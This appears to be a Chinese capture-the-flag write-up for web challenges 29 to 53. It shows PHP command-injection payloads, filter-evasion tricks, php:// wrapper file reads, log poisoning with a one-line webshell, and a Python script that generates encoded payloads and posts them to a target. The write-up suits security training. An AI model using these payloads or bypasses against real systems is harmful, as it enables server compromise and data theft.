web29 : 命令执行,需要严格的过滤
分析可知:
1.传入的是一个参数,名为c
2. 根据函数的性质,参数中是不可以有"flag",大小写都不可以有。
3. 将这个名为c的参数 按php语言进行解析
以上三个均为重点 ,这个很关键 ,
1、如?c=system("ls");
则相当于在执行php函数 system()
结果就是可以查看当前的目录中的文件
得到的结果是 flag.php 和 index.php (此题确实是有这两个文件的),如:
因此同理,在这里我们可以直接用?c=system("tac f*.php"); 来获取到这个文件,并得到flag。
web30 :命令执行,需要严格的过滤
解法思路 : 题目过滤了flag,system,php等,我们就可以考虑用什么来替代system执行系统命令,主要有passthru等
因此,解法1: c=passthru("tac fl*"); (绕过)
解法2: c=echo(`ls`); (反字节符配合echo)
解法3: c=eval($_GET[1]);&1=system("tac%20flag.php");
如下图: (即可得到flag);
web31 : 命令执行,需要严格的过滤
分析: 此题比上一题多过滤了"cat sort shell"以及,点,空格,单引号这些字符串,但我们可以用上题的第三种方法,即:
c=eval($_GET[1]);&1=system("tac%20flag.php");
当然,此题的wp作者也给了一个其他解决方案:
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web32 : 命令执行,需要严格的过滤
题解:
解法1: 文件包含
url/c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
其中?>代替分号,页面会显示flag.php内容的base64编码,解码即可获取flag
解法2: 日志注入
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
其中/var/log/nginx/access.log是ngninx默认的access日志路径,访问该路径时,在User-Agent中写入一个句话木马,然后AntSword连接即可
web33: 命令执行,需要严格的过滤
题解: 和上题所述一致,只需使用include文件包含命令即可。
web34: 命令执行,需要严格的过滤
直接上过程:
web35: 命令执行,需要严格的过滤
仍然与上题一致,使用include的文件包含即可。
web36: 命令执行,需要严格的过滤
题解: 这题仍然和上题一致,只不过是多过滤了一个0-9的数字,则我们把我们的数字1换成小字母a即可,得到flag。
web37: 命令执行,需要严格的过滤
此题顺便解释一下伪协议
常用场景: 文件包含,文本包含
常用的伪协议有
1.php://filter 读取文件源码 (协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码)
2.php://input 任意代码执行: 这种伪协议用于读取原始的 HTTP POST数据,可以用于处理上传的文件和表单数据
3.data://text/plain 任意代码执行
4.zip://配合文件上传开启后门
之前是eval,eval可以将里面的东西作为命令执行,而echo不行(后面好像是好几门都是如此),所以我们这里使用伪协议
这时候使用伪协议,如下图:
web38: 命令执行,需要严格的过滤
如上图所示,其实和上一题差不多,只不过过滤掉了一些字符,因此我们要用其他字符进行一个替换,比如php就可以用 "=" 来等价代换。
web39: 命令执行,需要严格的过滤
题解: 此题就是,在c后面拼接了一个字符串,其实我们include执行的东西,也就是c,并不会执行后面的php,因此呢,上题的playload在此题里仍然适用。所以上截图,如下图所示:
如果觉得不够放心,可以在后面加一个// 来注释掉后面的代码 。
web40: 命令执行,需要严格的过滤
此题基本上,就是过滤了所有字符,有一个括号然后是中文括号,此时呢,我们就用各种函数调用就行,如: ?c=highlight_file(next(array_reverse(scandir(dir)))); 即可得到flag。
web41: 命令执行,需要严格的过滤
题解: 大部分字符已经过滤掉了,我们这题运用到的是羽师傅的脚本文件。如下
import re
import urllib
from urllib import parse
import requests
# 初始化一个列表来存储编码后的字符信息
contents = []
# 遍历所有可能的ASCII字符(从0x00到0xFF)
for i in range(256):
for j in range(256):
# 将整数i和j转换为两位的十六进制字符串(如:'00'到'ff')
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
# 编译一个正则表达式,用于检测需要特殊处理的字符
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
# 如果当前字符是需要特殊处理的字符,则跳过本次循环
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
# 否则,将字符转换为百分号编码格式(如:'%20'代表空格)
a = '%' + hex_i
b = '%' + hex_j
# 计算两个十六进制值按位或运算的结果,并确保结果是一个可打印的字符
c = chr(int(a[1:], 16) | int(b[1:], 16))
# 只保留ASCII码在32到126之间的字符(即可打印字符)
if 32 <= ord(c) <= 126:
contents.append([c, a, b]) # 将字符、其百分号编码形式以及备用编码形式添加到列表中
# 定义一个函数,用于生成payload
def make_payload(cmd):
payload1 = '' # 初始化第一个payload字符串
payload2 = '' # 初始化第二个payload字符串
# 遍历给定命令的每一个字符
for char in cmd:
# 在contents列表中查找与当前字符匹配的项
for item in contents:
if char == item[0]: # 如果找到了匹配的项
payload1 += item[1] # 添加其百分号编码形式到payload1
payload2 += item[2] # 添加其备用编码形式到payload2
break # 找到匹配项后跳出循环
# 返回一个字符串,其中包含了原始的和备用的十六进制编码,以括号包围
return '("' + payload1 + '"|"' + payload2 + '")'
# 获取用户输入的URL
URL = input('url:')
# 创建payload,首先对'系统'命令进行编码,然后对'cat flag.php'命令进行编码
payload = make_payload('system') + make_payload('cat flag.php')
# 发送POST请求到指定的URL,数据中包含编码后的payload
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)}, verify=False)
# 输出服务器的响应文本
print(response.text)
由于代码已经给了注释,就不解释了,直接运行,在input函数里输入自己的url即可,得到flag。
web42: 命令执行,需要严格的过滤
题解:
使用 " ; " " || " " & " " && " 分隔
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; //分号
| //只执行后面那条命令
|| //执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
所以我们可以构造playload:
url/?c=tac flag.php||
web43 : 命令执行,需要严格的过滤
题解 : 运用上述命令仍然适用,只不过是过滤了flag。
web44: 命令执行,需要严格的过滤
题解: 和上几题一致,只不过多过滤一个flag,构造playload: ?c=tac fl*||即可。
web45: 命令执行,需要严格的过滤
题解思路: 这题其实和上题一致,只不过是多过滤了一个空格符,空格符,我们用%09可替换,所以我们构造playload: url?c=tac%09f*|| --->即可得到flag。
web46: 命令执行,需要严格的过滤
解题思路: 此题看源代码,发现?并没有过滤,则我们可以构造playload: ?c=tac%09f?ag.php||
即可得到flag。
web47:命令执行,需要严格的过滤
题解: 此题和上题一致,只需要用?去代替就行,最后得到flag,如上图所示。
web48: 命令执行,需要严格的过滤
仍然与前两题一致。
web49: 命令执行,需要严格的过滤
仍然与上题一致,不做过多的叙述。
web50:命令执行,需要严格的过滤
因为空格是被过滤的,因此我们不能用%09来代替,此外flag的话也被过滤,我们要用两个双引号,在这里的"%0a"也算是分隔符里的一种,换行的意思。
web51: 命令执行,需要严格的过滤
题解: 此题和上题不一致的是过滤了tac,此时我们只需要将tac伪装一下,我们来构造一下playload
解法1: ?c=ta''c<fl''ag.php%0a
解法2: view-source:url/?=nl%3Cfla''g.php|| (可以通过view-source来查看源代码)
web52: 命令执行,需要严格的过滤
题解:这题使用新的命令,直接上playload: ?c=nl${IFS}/fla''g%0a
web53: 命令执行,需要严格的过滤
playload: ?c=ta\c${IFS}fla\g.php,这里的“\”, 也可以原来字符过滤。